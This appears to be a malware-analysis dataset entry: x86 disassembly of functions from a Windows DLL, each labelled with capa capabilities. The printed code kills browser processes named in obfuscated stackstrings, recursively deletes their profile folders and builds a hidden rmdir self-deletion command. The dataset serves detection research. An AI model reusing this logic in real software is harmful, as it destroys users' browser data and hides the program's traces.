joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017e26
Capabilities:
Copy file

Disassembly:
push 0x64
mov eax, 0x100419d4
call fcn.10039ffc
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, dword [ecx]
mov edi, dword [esi]
jmp 0x10017f12
lea eax, [edi + 8]
push eax
lea ecx, [ebp - 0x70]
call fcn.100014b8
mov byte [ebp - 4], 1
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x28]
call fcn.100014b8
mov byte [ebp - 4], 2
push 0xffffffffffffffff
push ecx
push ecx
lea ecx, [ebp - 0x28]
call fcn.1001a30a
inc eax
lea ecx, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.10001e28
mov byte [ebp - 4], 3
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x40]
call fcn.100014b8
mov byte [ebp - 4], 4
push 0x1004f24c
call fcn.10022980
pop ecx
push eax
push 0x1004f24c
lea ecx, [ebp - 0x40]
call fcn.100146a9
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x58]
push ecx
mov ecx, eax
call fcn.10014603
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
push 1
cmovae ecx, dword [ebp - 0x40]
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x40]
push ebx
push 1
call fcn.1000176d
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x58]
push ebx
push 1
call fcn.1000176d
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
push ebx
push 1
call fcn.1000176d
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x70]
push ebx
push 1
call fcn.1000176d
mov edi, dword [edi]
cmp edi, esi
jne 0x10017e40
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
push ebx
push 1
call fcn.1000176d
call fcn.10039fab
ret

Function at 0x10017fba
Capabilities:
Get common file path

Disassembly:
push 0x114
mov eax, 0x10041a70
call fcn.10039ffc
mov esi, ecx
lea eax, [ebp - 0x118]
mov dword [ebp - 0x120], esi
push eax
xor ebx, ebx
push 0xe
push ebx
mov dword [ebp - 0x11c], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
push 0x103
lea eax, [ebp - 0x113]
mov byte [ebp - 0x114], bl
push ebx
push eax
call fcn.10022b50
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x118]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
lea eax, [ebp - 0x114]
mov ecx, esi
push eax
call fcn.100014de
mov dword [ebp - 4], ebx
mov dword [ebp - 0x11c], 1
mov eax, esi
call fcn.10039fab
ret
Function at 0x10018a37
Capabilities:
Terminate process

Disassembly:
push 0x80
mov eax, 0x10041c1a
call fcn.10039ffc
and dword [ebp - 0x88], 0
lea edi, [ebp - 0x20]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x8c], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100219a7
mov dword [ebp - 4], 1
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x20]
call fcn.10021a43
mov byte [ebp - 4], 2
cmp dword [ebp - 0x74], 0
jne 0x10018a8e
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea eax, [ebp - 0x84]
mov ecx, esi
push eax
call fcn.10018acb
mov dword [ebp - 0x88], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.1001697d
and dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.1001489e
mov eax, esi
call fcn.10039fab
ret 4
Function at 0x1001a28a
Capabilities:
Terminate process

Disassembly:
push 0x18
mov eax, 0x10041db5
call fcn.10039ffc
mov esi, edx
mov edi, dword [0x1005c420]
xor ebx, ebx
mov dword [ebp - 0x20], 0x65696c63
mov dword [ebp - 0x1c], 0xecd2746e
mov dword [ebp - 0x18], 0x2520a3b3
mov word [ebp - 0x14], 0x58
mov dword [ebp - 0x24], ebx
call fcn.10001f7b
push eax
lea ecx, [ebp - 0x24]
call fcn.1000bbef
mov dword [ebp - 4], 1
mov eax, dword [esi]
push dword [eax]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.100102b4
add esp, 0xc
lea eax, [ebp - 0x24]
mov ecx, edi
push eax
call fcn.1001a11d
lea ecx, [edi + 8]
mov byte [edi], bl
call fcn.10015c16
mov ecx, edi
call fcn.10018a1a
push ebx
call fcn.10024d8a
int3

Function at 0x1001a7f1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov esi, edx
test edi, edi
je 0x1001a860
test esi, esi
je 0x1001a860
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], ebx
test eax, eax
je 0x1001a860
xor ecx, ecx
lea eax, [ebp - 0x14]
push ecx
push ecx
push eax
push 0x1001b169
push ecx
push ecx
call fcn.10027cca
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
jmp 0x1001a862
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001bf92
Capabilities:
Check if file exists
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1001bfbd
xor al, al
jmp 0x1001c074
push esi
test al, 0x10
jne 0x1001bfd3
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
neg eax
sbb eax, eax
neg eax
jmp 0x1001c074
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x218]
push str._s.
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1001bfb6
cmp byte [ebp - 0x32c], 0x2e
je 0x1001c04f
test byte [ebp - 0x358], 0x10
lea eax, [ebp - 0x32c]
push eax
push esi
lea eax, [ebp - 0x110]
push str._s_s
push eax
je 0x1001c03d
call ebx
add esp, 0x10
lea ecx, [ebp - 0x110]
call fcn.1001bf92
jmp 0x1001c04f
call ebx
add esp, 0x10
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x358]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x1001c005
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push esi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001c085
Capabilities:
Acquire debug privileges
Enumerate processes
Terminate process

Disassembly:
push 0x134
mov eax, 0x1004203d
call fcn.10039ffc
push ecx
xor ebx, ebx
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
call fcn.1000b30d
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x18]
call fcn.1000fb93
xor edx, edx
mov ecx, str.SeDebugPrivilege
inc edx
call fcn.100140e8
push ebx
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x1001c1a7
push 0x124
lea eax, [ebp - 0x13c]
push ebx
push eax
call fcn.10022b50
add esp, 0xc
mov dword [ebp - 0x140], 0x128
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32First]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x1001c190
mov eax, dword [ebp - 0x138]
test eax, eax
je 0x1001c182
cmp eax, 4
je 0x1001c182
cmp eax, 8
je 0x1001c182
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000b30d
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x14]
call fcn.1000fb93
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x14]
call fcn.1001d955
test eax, eax
js 0x1001c173
push dword [ebp - 0x138]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001c1be
cmp esi, 0xffffffff
je 0x1001c1be
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call ebx
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.10001f5f
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32Next]
test eax, eax
jne 0x1001c106
xor edx, edx
mov ecx, str.SeDebugPrivilege
call fcn.100140e8
push edi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 0x10]
call fcn.10001f5f
xor al, al
call fcn.10039fab
ret
jmp 0x1001c173

Function at 0x1001c1c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0xc], ecx
push edi
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
mov ebx, 0x128
lea eax, [esp + 0x10]
mov dword [esp + 0x10], ebx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32First]
test eax, eax
je 0x1001c24a
mov dword [esp + 0x10], ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_Process32Next]
jmp 0x1001c22f
push dword [esp + 0xc]
lea eax, [esp + 0x38]
push eax
call fcn.10027b30
pop ecx
pop ecx
test eax, eax
je 0x1001c23d
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x1001c213
jmp 0x1001c241
mov edi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001c25f
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov eax, 0x104
xor ebx, ebx
push eax
mov dword [ebp - 0x328], eax
mov edi, ecx
lea eax, [ebp - 0x130]
push ebx
push eax
call fcn.10022b50
push 0x2e
push edi
call fcn.10029c60
add esp, 0x14
test eax, eax
jne 0x1001c2a7
xor al, al
jmp 0x1001c477
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x32c]
push ecx
push 0x20019
push ebx
push eax
push SysReAllocString
call esi
test eax, eax
jne 0x1001c35c
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x130]
push eax
push ebx
push dword [ebp - 0x32c]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call ebx
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
lea eax, [ebp - 0x324]
push 0
push eax
call fcn.10022b50
movdqa xmm0, xmmword [0x10050ff0]
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], 0x6e616d6d
push eax
lea eax, [ebp - 0x324]
mov word [ebp - 8], 0x64
push eax
movdqu xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x32c]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x324]
push eax
push SysReAllocString
call esi
test eax, eax
je 0x1001c363
xor al, al
jmp 0x1001c476
mov esi, 0x104
lea eax, [ebp - 0x130]
push esi
push 0
push eax
call fcn.10022b50
add esp, 0xc
mov dword [ebp - 0x328], esi
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x130]
push eax
push 0
push dword [ebp - 0x32c]
call ebx
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x130]
push 0x10050b30
push eax
call fcn.10029450
pop ecx
pop ecx
test eax, eax
jne 0x1001c3f2
lea eax, [ebp - 0x130]
push 0x10050b34
push eax
call fcn.10029450
pop ecx
pop ecx
test eax, eax
jne 0x1001c3f2
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x130]
push 0x100504c4
push eax
call esi
push edi
lea eax, [ebp - 0x130]
push eax
call esi
jmp 0x1001c3fa
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x40
xor ebx, ebx
lea eax, [ebp - 0x37c]
push ebx
push eax
call fcn.10022b50
add esp, 0xc
movdqa xmm0, xmmword [str.WinSta0Default]
xor eax, eax
mov dword [ebp - 0x380], 0x44
mov word [ebp - 0x350], ax
lea eax, [ebp - 0x33c]
mov dword [ebp - 0x354], 1
push eax
lea eax, [ebp - 0x380]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x130]
push eax
push ebx
movdqu xmmword [ebp - 0x2c], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x1001c474
push dword [ebp - 0x338]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x33c]
call esi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001c752
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0x134
mov eax, 0x1004208d
call fcn.10039ffc
mov edi, ecx
push 0
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x140], 0x128
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32First]
test eax, eax
je 0x1001c84a
and dword [ebp - 0x18], 0
lea ecx, [ebp - 0x18]
push edi
call fcn.1000b30d
and dword [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.1000fb93
mov edi, dword [sym.imp.KERNEL32.DLL_Process32Next]
lea eax, [ebp - 0x140]
push eax
push esi
call edi
test eax, eax
je 0x1001c820
xor ebx, ebx
inc ebx
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000b30d
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x14]
call fcn.1000fb93
push dword [ebp - 0x18]
lea ecx, [ebp - 0x14]
call fcn.1000bb42
test eax, eax
je 0x1001c850
mov eax, dword [ebp - 0x14]
push dword [eax - 8]
push eax
call fcn.10026360
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.1000bc18
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.10001f5f
lea eax, [ebp - 0x140]
push eax
push esi
call edi
test eax, eax
jne 0x1001c7bf
mov eax, dword [ebp - 0x18]
push dword [eax - 8]
push eax
call fcn.10026360
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.1000bc18
xor ebx, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.10001f5f
mov eax, ebx
call fcn.10039fab
ret
push dword [ebp - 0x138]
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.10001f5f
jmp 0x1001c839

Function at 0x1001c8cb
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x10050f00]
lea eax, [ebp - 0x44]
xor ecx, ecx
mov dword [ebp - 0x1c], 0x446e7552
push ecx
push ecx
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x32336c6c
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x14], 0x6578652e
movdqu xmmword [ebp - 0x44], xmm0
push eax
movdqa xmm0, xmmword [0x10050f30]
push ecx
mov byte [ebp - 0x10], cl
mov dword [ebp - 0xc], 0x616e7572
mov word [ebp - 8], 0x73
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x32207373
mov word [ebp - 0x20], 0x3535
mov byte [ebp - 0x1e], cl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001c94f
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14c
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x148], eax
push ebx
xor ebx, ebx
lea eax, [esp + 0x41]
push 0x103
push ebx
push eax
mov byte [esp + 0x4c], bl
call fcn.10022b50
add esp, 0xc
lea eax, [esp + 0x40]
push 1
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movdqa xmm0, xmmword [0x10050f60]
lea eax, [esp + 0x14]
push eax
movdqu xmmword [esp + 0x18], xmm0
lea eax, [esp + 0x44]
mov dword [esp + 0x38], 0x53206c61
movdqa xmm0, xmmword [0x10050f10]
push eax
movdqu xmmword [esp + 0x2c], xmm0
mov dword [esp + 0x40], 0x61726f74
mov word [esp + 0x44], 0x6567
mov byte [esp + 0x46], bl
call fcn.10028910
pop ecx
pop ecx
lea ecx, [esp + 8]
mov dword [esp + 8], 0x70796b73
mov dword [esp + 0xc], 0x78652e65
mov word [esp + 0x10], 0x65
call fcn.1001c085
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x40]
call fcn.1001bf92
mov ecx, dword [esp + 0x14c]
pop ebx
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret

Function at 0x1001ca22
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x144
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x140], eax
push ebx
xor ebx, ebx
lea eax, [esp + 0x39]
push 0x103
push ebx
push eax
mov byte [esp + 0x44], bl
call fcn.10022b50
add esp, 0xc
lea eax, [esp + 0x38]
push 1
push 0x28
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movdqa xmm0, xmmword [0x10050f90]
lea eax, [esp + 0x10]
push eax
movdqu xmmword [esp + 0x14], xmm0
lea eax, [esp + 0x3c]
mov dword [esp + 0x34], 0x61442072
movdqa xmm0, xmmword [0x10050f70]
push eax
movdqu xmmword [esp + 0x28], xmm0
mov word [esp + 0x3c], 0x6174
mov byte [esp + 0x3e], bl
call fcn.10028910
pop ecx
pop ecx
lea ecx, [esp + 4]
mov dword [esp + 4], 0x6f726843
mov dword [esp + 8], 0x652e656d
mov word [esp + 0xc], 0x6578
mov byte [esp + 0xe], bl
call fcn.1001c085
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x38]
call fcn.1001bf92
mov ecx, dword [esp + 0x144]
pop ebx
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001caf1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
xor ebx, ebx
lea eax, [esp + 0x29]
push 0x103
push ebx
push eax
mov byte [esp + 0x34], bl
call fcn.10022b50
add esp, 0xc
lea eax, [esp + 0x28]
push 1
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movdqa xmm0, xmmword [0x10051080]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x2c]
mov byte [esp + 0x28], bl
push eax
movdqu xmmword [esp + 0x1c], xmm0
call fcn.10028910
pop ecx
pop ecx
lea ecx, [esp + 8]
mov dword [esp + 8], 0x65726966
mov dword [esp + 0xc], 0x2e786f66
mov dword [esp + 0x10], 0x657865
call fcn.1001c085
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x28]
call fcn.1001bf92
mov ecx, dword [esp + 0x134]
pop ebx
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret

Function at 0x1001cba0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x13c
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x138], eax
push ebx
xor ebx, ebx
lea eax, [esp + 0x31]
push 0x103
push ebx
push eax
mov byte [esp + 0x3c], bl
call fcn.10022b50
add esp, 0xc
lea eax, [esp + 0x30]
push 1
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movdqa xmm0, xmmword [0x10051030]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x24], 0x65445c61
push eax
movdqu xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0x6c756166
mov dword [esp + 0x30], 0x70615c74
mov word [esp + 0x34], 0x7370
mov byte [esp + 0x36], bl
call fcn.10028910
pop ecx
pop ecx
lea ecx, [esp + 4]
mov dword [esp + 4], 0x73303633
mov dword [esp + 8], 0x78652e65
mov word [esp + 0xc], 0x65
call fcn.1001c085
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x30]
call fcn.1001bf92
mov ecx, dword [esp + 0x13c]
pop ebx
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001cc6d
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x150], eax
push ebx
xor ebx, ebx
lea eax, [esp + 0x49]
push 0x103
push ebx
push eax
mov byte [esp + 0x54], bl
call fcn.10022b50
add esp, 0xc
lea eax, [esp + 0x48]
push 1
push 0x28
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movdqa xmm0, xmmword [0x10050e60]
lea eax, [esp + 0x14]
movdqu xmmword [esp + 0x14], xmm0
push eax
movdqa xmm0, xmmword [0x10050ef0]
lea eax, [esp + 0x4c]
movdqu xmmword [esp + 0x28], xmm0
push eax
movdqa xmm0, xmmword [0x10050fb0]
movdqu xmmword [esp + 0x3c], xmm0
mov word [esp + 0x4c], 0x74
call fcn.10028910
pop ecx
pop ecx
lea ecx, [esp + 4]
mov dword [esp + 4], 0x63303633
mov dword [esp + 8], 0x6d6f7268
mov dword [esp + 0xc], 0x78652e65
mov word [esp + 0x10], 0x65
call fcn.1001c085
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x48]
call fcn.1001bf92
mov ecx, dword [esp + 0x154]
pop ebx
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001d160
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x150], eax
push ebx
xor ebx, ebx
lea eax, [esp + 0x49]
push 0x103
push ebx
push eax
mov byte [esp + 0x54], bl
call fcn.10022b50
add esp, 0xc
lea eax, [esp + 0x48]
push 1
push 0x28
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movdqa xmm0, xmmword [0x10050ed0]
lea eax, [esp + 0x14]
movdqu xmmword [esp + 0x14], xmm0
push eax
movdqa xmm0, xmmword [0x10051020]
lea eax, [esp + 0x4c]
movdqu xmmword [esp + 0x28], xmm0
push eax
movdqa xmm0, xmmword [0x10051060]
movdqu xmmword [esp + 0x3c], xmm0
mov word [esp + 0x4c], 0x746c
mov byte [esp + 0x4e], bl
call fcn.10028910
pop ecx
pop ecx
lea ecx, [esp + 4]
mov dword [esp + 4], 0x72425151
mov dword [esp + 8], 0x6573776f
mov dword [esp + 0xc], 0x78652e72
mov word [esp + 0x10], 0x65
call fcn.1001c085
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x48]
call fcn.1001bf92
mov ecx, dword [esp + 0x154]
pop ebx
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1001d398
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Query environment variable
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3bc
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0x258]
push esi
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x258]
push 0x5c
push eax
call fcn.10029c60
pop ecx
pop ecx
push esi
mov byte [eax], bl
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x534d4f43
push eax
mov dword [ebp - 0x10], 0x434550
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x1001d547
movdqa xmm0, xmmword [0x10050e40]
lea eax, [ebp - 0x44]
push eax
movdqu xmmword [ebp - 0x44], xmm0
lea eax, [ebp - 0x150]
mov dword [ebp - 0x24], 0x646d7220
movdqa xmm0, xmmword [0x10050e30]
push eax
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0x2f207269
mov dword [ebp - 0x1c], 0x20712f73
mov byte [ebp - 0x18], bl
mov dword [ebp - 0xc], 0x6e203e20
mov word [ebp - 8], 0x6c75
mov byte [ebp - 6], bl
call fcn.10028900
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.10028910
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.10028910
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x360]
push eax
call fcn.10028910
push 0x40
lea eax, [ebp - 0x3a4]
push ebx
push eax
call fcn.10022b50
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
add esp, 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x3a8], 0x44
xor eax, eax
mov dword [ebp - 0x37c], 1
movdqu xmmword [ebp - 0x3b8], xmm0
push 0x100
mov word [ebp - 0x378], ax
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x3b8]
xor ecx, ecx
push eax
lea eax, [ebp - 0x3a8]
push eax
push ecx
push ecx
push 4
push ecx
push ecx
push ecx
lea eax, [ebp - 0x360]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x1001d535
push 0x40
push dword [ebp - 0x3b8]
call esi
push 0xfffffffffffffff1
push dword [ebp - 0x3b4]
call edi
push dword [ebp - 0x3b4]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
xor eax, eax
inc eax
jmp 0x1001d549
push 0x20
call ebx
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call edi
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret